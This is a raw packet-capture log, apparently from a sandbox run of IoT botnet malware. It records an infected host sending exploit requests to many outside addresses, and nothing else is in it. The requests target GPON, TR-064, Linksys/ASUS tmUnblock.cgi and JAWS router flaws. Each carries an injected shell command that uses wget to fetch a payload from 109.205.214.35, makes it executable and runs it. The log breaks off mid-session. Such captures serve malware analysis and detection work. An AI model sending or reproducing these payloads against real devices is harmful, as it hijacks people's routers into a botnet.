Session ID	Source IP	Source Port	Destination IP	Destination Port
1636	192.168.2.13	43562	212.201.146.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.796284914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1637	192.168.2.13	40252	212.176.141.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.796309948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1638	192.168.2.13	55334	109.235.47.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.796344995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1639	192.168.2.13	57718	12.50.132.131	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:28.902642965 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:29.013592958 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:25:15 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:23:29.404912949 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:25:15 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1640	192.168.2.13	38858	172.87.219.169	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:28.950839996 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:33.040235043 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:39.180213928 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:51.212204933 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1641	192.168.2.13	44894	174.20.41.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.073996067 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:29.207690001 CET	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Thu 21 Mar 2024 04:23:29 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1642	192.168.2.13	59224	24.247.160.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.078983068 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1643	192.168.2.13	41614	222.117.31.131	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.115565062 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:30.829240084 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1644	192.168.2.13	44900	174.20.41.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.207920074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:29.332145929 CET	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Thu 21 Mar 2024 04:23:29 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1645	192.168.2.13	59230	24.247.160.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.214149952 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1646	192.168.2.13	58242	172.114.196.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.266875982 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:30.189925909 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.244237900 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:33.548237085 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:37.900243044 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:46.348213911 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1647	192.168.2.13	33084	172.66.140.164	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.354021072 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:29.633632898 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.13	58248	172.114.196.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.463927984 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:30.476241112 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.692214966 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:34.316261053 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:39.180243969 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:48.908237934 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.13	52916	172.65.240.56	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.476167917 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.13	42350	138.99.146.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.486253023 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:29.619504929 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:23:29 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.13	44346	172.253.28.199	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:29.492763996 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.13	41688	222.117.31.131	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.468997955 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.13	45912	172.65.154.94	55555

Timestamp	Bytes transferred	Direction	Data
